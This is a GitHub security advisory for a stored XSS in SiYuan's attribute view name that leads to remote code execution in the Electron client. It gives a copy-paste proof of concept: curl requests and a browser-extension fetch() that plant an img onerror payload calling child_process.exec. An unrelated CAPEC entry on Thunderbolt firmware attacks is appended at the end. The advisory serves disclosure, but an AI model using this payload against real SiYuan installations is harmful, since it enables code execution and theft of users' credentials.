Reproduction (copy-paste-ready)\n\nTested on Linux/macOS with SiYuan v3.6.5 (re-verified against `master` HEAD on 2026-05-03). Windows users: replace `python3` with `py` and use Git Bash / WSL for the shell snippets, or translate to PowerShell.\n\n### Prereqs\n\n1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at `~/SiYuanWorkspace` is initialized. Do **not** set an Access Authorization Code (default).\n2. **Verify the kernel responds:**\n ```sh\n curl -s http://127.0.0.1:6806/api/system/version\n ```\n Expected output (single line of JSON):\n ```json\n {\"code\":0,\"msg\":\"\",\"data\":\"3.6.5\"}\n ```\n3. **Pin shell variables** for the rest of the PoC:\n ```sh\n API=http://127.0.0.1:6806\n WS=~/SiYuanWorkspace # adjust if your workspace lives elsewhere\n\n NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \\\n -H \u0027Content-Type: application/json\u0027 -d \u0027{}\u0027 \\\n | python3 -c \u0027import sys,json; print(json.load(sys.stdin)[\"data\"][\"notebooks\"][0][\"id\"])\u0027)\n echo \"Using notebook: $NOTEBOOK_ID\"\n ```\n Expected: a 14-digit-timestamp + `-7chars` ID like `20240101120000-abc1234`. If you get an empty string, you have no notebooks \u2014 open SiYuan and click \"New notebook\" once.\n\n### Step A \u2014 Create the AV via the SiYuan UI (one-time, ~10 seconds)\n\nThe kernel\u0027s `setAttrViewName` requires the AV file to already exist on disk (`av.ParseAttributeView` returns an error otherwise). The simplest way to create one is via the editor:\n\n1. Open SiYuan. In any document, type `/database` and press Enter (or open the slash-command menu and pick **Database**).\n2. The editor inserts an Attribute View block. The kernel writes a JSON file to `\u003cworkspace\u003e/data/storage/av/\u003cav-id\u003e.json`.\n3. Capture the AV ID \u2014 the most recently written file in that directory:\n ```sh\n AV_FILE=$(ls -1t \"$WS/data/storage/av/\"*.json 2\u003e/dev/null | head -1)\n AV_ID=$(basename \"$AV_FILE\" .json)\n echo \"AV_ID: $AV_ID\"\n ```\n Expected: same 14-digit-timestamp + `-7chars` shape, e.g. `20260503160000-aaaaaaa`. If empty, the AV file wasn\u0027t created \u2014 repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan \u2192 Inspect Element to read its `data-av-id` attribute.)\n\n4. Capture the doc ID that hosts the AV: right-click the doc tab \u2192 **Copy ID**, or read it from the doc\u0027s `data-node-id` in DevTools (Ctrl+Shift+I). Set:\n ```sh\n DOC_ID=\u003croot-block-id-of-the-doc-containing-the-AV\u003e\n ```\n\n### Step B \u2014 Plant the XSS payload as the AV name\n\nThe payload is written directly inside an unquoted heredoc so bash expands `$AV_ID` while preserving the `\\\"` JSON-escape sequences literally. Single-quote chars (`\u0027`) in the inner JS need no escaping inside a JSON string.\n\n```sh\ncurl -s -X POST $API/api/transactions \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data-binary @- \u003c\u003cEOF\n{\n \"session\": \"x\",\n \"app\": \"siyuan\",\n \"transactions\": [{\n \"doOperations\": [{\n \"action\": \"setAttrViewName\",\n \"id\": \"$AV_ID\",\n \"data\": \"\u003cimg src=x onerror=\\\"require(\u0027child_process\u0027).exec(process.platform===\u0027win32\u0027?\u0027calc.exe\u0027:process.platform===\u0027darwin\u0027?\u0027open -a Calculator\u0027:\u0027xcalc\u0027)\\\"\u003e\"\n }],\n \"undoOperations\": []\n }]\n}\nEOF\n```\nExpected response:\n```json\n{\"code\":0,\"msg\":\"\",\"data\":[{\"doOperations\":[...,\"action\":\"setAttrViewName\",...]}]}\n```\n\n### Step C \u2014 Verify the unescaped storage\n\n```sh\npython3 -c \"import json; print(json.load(open(\u0027$WS/data/storage/av/$AV_ID.json\u0027))[\u0027name\u0027])\"\n```\nExpected output (the raw HTML as stored \u2014 `print` does not escape `\"`, so they appear as literal quotes):\n```\n\u003cimg src=x onerror=\"require(\u0027child_process\u0027).exec(process.platform===\u0027win32\u0027?\u0027calc.exe\u0027:process.platform===\u0027darwin\u0027?\u0027open -a Calculator\u0027:\u0027xcalc\u0027)\"\u003e\n```\n\n### Step D \u2014 Trigger\n\nIn the SiYuan desktop client:\n\n1. Switch away from the doc that contains the AV (open another doc, or close the tab).\n2. Re-open the doc containing the AV (`$DOC_ID`).\n3. The AV body header is rendered via `genTabHeaderHTML` \u2192 `outerHTML` at `app/src/protyle/render/av/render.ts:596`. The browser parses the `\u003cimg\u003e` tag, fails to load `src=x`, and fires `onerror`.\n4. **Calculator (or `xcalc` / `open -a Calculator`) launches.**\n\nIf nothing happens, open DevTools (Ctrl+Shift+I / \u2318\u2325I) \u2192 Console; you should see the error from the failed `src=x` load. If the AV is in another doc you haven\u0027t opened recently, the cached render may be stale \u2014 close all tabs and re-open.\n\n### Step E \u2014 Browser-extension attack vector (the realistic remote path)\n\nA malicious or compromised installed browser extension\u0027s content/background script runs with `chrome-extension://\u003cid\u003e` Origin, allowlisted by `session.go:277`. The extension can run Steps B\u0027s curl-equivalent via `fetch()`:\n```js\n// Inside any extension content/background script\nfetch(\u0027http://127.0.0.1:6806/api/transactions\u0027, {\n method: \u0027POST\u0027,\n headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n body: JSON.stringify({\n session: \u0027x\u0027, app: \u0027siyuan\u0027,\n transactions: [{ doOperations: [{\n action: \u0027setAttrViewName\u0027,\n id: \u0027\u003cav-id-discovered-via-prior-recon-fetches\u003e\u0027,\n data: `\u003cimg src=x onerror=\"require(\u0027child_process\u0027).exec(\u0027xcalc\u0027)\"\u003e`\n }] }]\n })\n});\n```\nThe extension can also enumerate AV IDs by first calling `/api/notebook/lsNotebooks`, then walking notebook trees.\n\nA page from `https://attacker.com` is rejected \u2014 `IsLocalOrigin` only matches localhost/loopback. Realistic remote vectors are: **browser extensions**, **localhost-served webpages**, **shared `.sy.zip` imports**, **sync replication from a co-author\u0027s compromised device**.\n\n### Cleanup\n\n```sh\n# Remove the test doc (also removes the AV binding in the doc)\ncurl -s -X POST $API/api/filetree/removeDocByID \\\n -H \u0027Content-Type: application/json\u0027 -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\"\n\n# Manually delete the AV file\nrm -f $WS/data/storage/av/$AV_ID.json\n\n# Restart SiYuan to clear in-memory state\n```\n\n## Impact\n\n- **RCE on the victim\u0027s desktop** with the user\u0027s privileges, no extra prompt after the trigger condition is met.\n- **Persistent** \u2014 payload survives restart, syncs across devices, rides in `.sy.zip` exports and Bazaar templates.\n- **Triggers for any role** opening a doc bound to the AV (incl. Reader-role publish viewers).\n- After RCE: full filesystem read (incl. `~/.ssh/`, `~/.aws/credentials`, workspace `conf/conf.json` \u2014 kernel API token + AccessAuthCode hash), persistence (`.bashrc` / Startup folder / LaunchAgent), cloud-account pivot.\n- **Attack vectors:** browser extensions (`chrome-extension://` Origin allowlisted); shared `.sy.zip` files; Bazaar templates; sync peers; co-authors on a shared workspace; publish-service planters infecting Reader viewers.",
"id": "GHSA-2h64-c999-c9r6",
"modified": "2026-06-08T20:11:15Z",
"published": "2026-05-08T16:53:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-2h64-c999-c9r6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44670"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE"
}
No mitigation information available for this CWE.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.